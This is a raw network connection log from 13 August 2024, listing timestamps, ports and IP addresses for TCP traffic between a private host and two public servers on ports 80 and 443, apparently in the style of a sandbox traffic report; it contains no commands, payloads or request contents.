Aug 13, 2024 20:24:25.515489101 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515516043 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.515537977 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.516534090 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.516585112 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.516597033 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.516623020 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.516643047 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.516655922 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.516668081 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.516694069 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.516712904 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.516736984 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.517137051 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.517194033 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.519282103 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.519319057 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.519356966 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.519370079 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601017952 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601144075 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601155996 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601181030 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601198912 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601216078 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601242065 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601250887 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601265907 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601305008 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601315022 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601349115 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601382017 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601414919 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601447105 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601479053 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601514101 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601520061 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601543903 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601548910 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601564884 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601600885 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601604939 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601640940 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601658106 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601670980 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601691961 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601705074 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601716995 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601738930 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601758003 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601772070 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601787090 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601823092 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601824045 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601875067 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601888895 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601912022 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601936102 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601948977 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.601963043 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.601984978 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602009058 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602034092 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602364063 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602401972 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602420092 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602442980 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602453947 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602487087 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602505922 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602521896 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602531910 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602567911 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602574110 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602608919 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602628946 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602642059 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602655888 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602677107 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602705002 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602709055 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602729082 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602742910 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.602758884 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.602787018 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.603110075 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.603159904 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.603163958 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.603220940 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.818873882 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.818994999 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.925390959 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.925411940 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:26.387845993 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:26.387963057 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:26.388036013 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:26.567744970 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:26.567791939 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.085246086 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.085494995 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.092495918 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.092519045 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.092941999 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.095192909 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.161412954 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.208504915 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.916047096 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.916234970 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.916331053 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.916332006 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.916807890 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.916835070 CEST	443	49163	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:28.916850090 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.916887999 CEST	49163	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:28.929410934 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:28.934308052 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:28.934384108 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:28.934544086 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:28.939440012 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.440838099 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.440891981 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.440928936 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.440963984 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.440998077 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.441030025 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.441030025 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441030025 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441030025 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441030025 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441052914 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441065073 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.441075087 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441099882 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.441118002 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441142082 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.441148996 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441179991 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.441190958 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.441231966 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.446197987 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.446249962 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.446278095 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.446321964 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.446372986 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.446428061 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.447988987 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.463862896 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.464024067 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528240919 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528304100 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528304100 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528341055 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528354883 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528373957 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528381109 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528409004 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528418064 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528445959 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528459072 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528498888 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528512001 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528532982 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528554916 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528569937 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528662920 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528700113 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.528717995 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.528740883 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529294968 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529328108 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529346943 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529369116 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529376030 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529412031 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529612064 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529664993 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529670000 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529699087 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529710054 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529741049 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529813051 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529846907 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.529866934 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.529892921 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.530495882 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.530529976 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.530551910 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.530570984 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.530580997 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.530613899 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.530631065 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.530647039 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.530656099 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.530689955 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.598906040 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.598949909 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.599010944 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.618674994 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.618799925 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.618828058 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.618866920 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.618875980 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.618901968 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.618911028 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.618938923 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.618951082 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.618973017 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.618987083 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619010925 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619025946 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619041920 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619061947 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619077921 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619080067 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619108915 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619132042 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619151115 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619169950 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619215012 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619220018 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619254112 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619265079 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619287968 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619298935 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619323969 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619333029 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619359970 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619370937 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619395018 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619401932 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619435072 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619872093 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619904995 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619926929 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619940042 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.619945049 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619983912 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.619992971 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.620026112 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.620038033 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.620060921 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.620069981 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.620098114 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.620105028 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.620141983 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.621057034 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.621089935 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.621110916 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.621134996 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.621156931 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.621192932 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.621206045 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.621229887 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.621234894 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.621265888 CEST	80	49164	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:29.621277094 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:29.621309042 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:31.625128031 CEST	49164	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:36.802453041 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:36.807977915 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:36.808053017 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:36.824924946 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:36.830228090 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.305928946 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.305984974 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306021929 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306054115 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306086063 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306107044 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306107998 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306117058 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306150913 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306184053 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306188107 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306193113 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306193113 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306193113 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306217909 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306235075 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306255102 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.306271076 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.306303978 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.311693907 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.311732054 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.311790943 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.311824083 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.394426107 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.394462109 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.394479990 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.394685030 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.394712925 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.394745111 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.399341106 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.399374962 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.399430990 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.399694920 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.399729013 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.399756908 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.399784088 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.404570103 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.404603004 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.404649973 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.404649973 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.404654026 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.404687881 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.404700994 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.404727936 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.409574986 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.409626007 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.409652948 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.409657955 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.409674883 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.409692049 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.409701109 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.409724951 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.409743071 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.409920931 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.414493084 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.414541006 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.414575100 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.414586067 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.414608002 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.414621115 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.414666891 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.419302940 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.419393063 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.419441938 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.482319117 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.482340097 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.482348919 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.482356071 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.482594967 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.487246037 CEST	80	49165	192.3.176.138	192.168.2.22
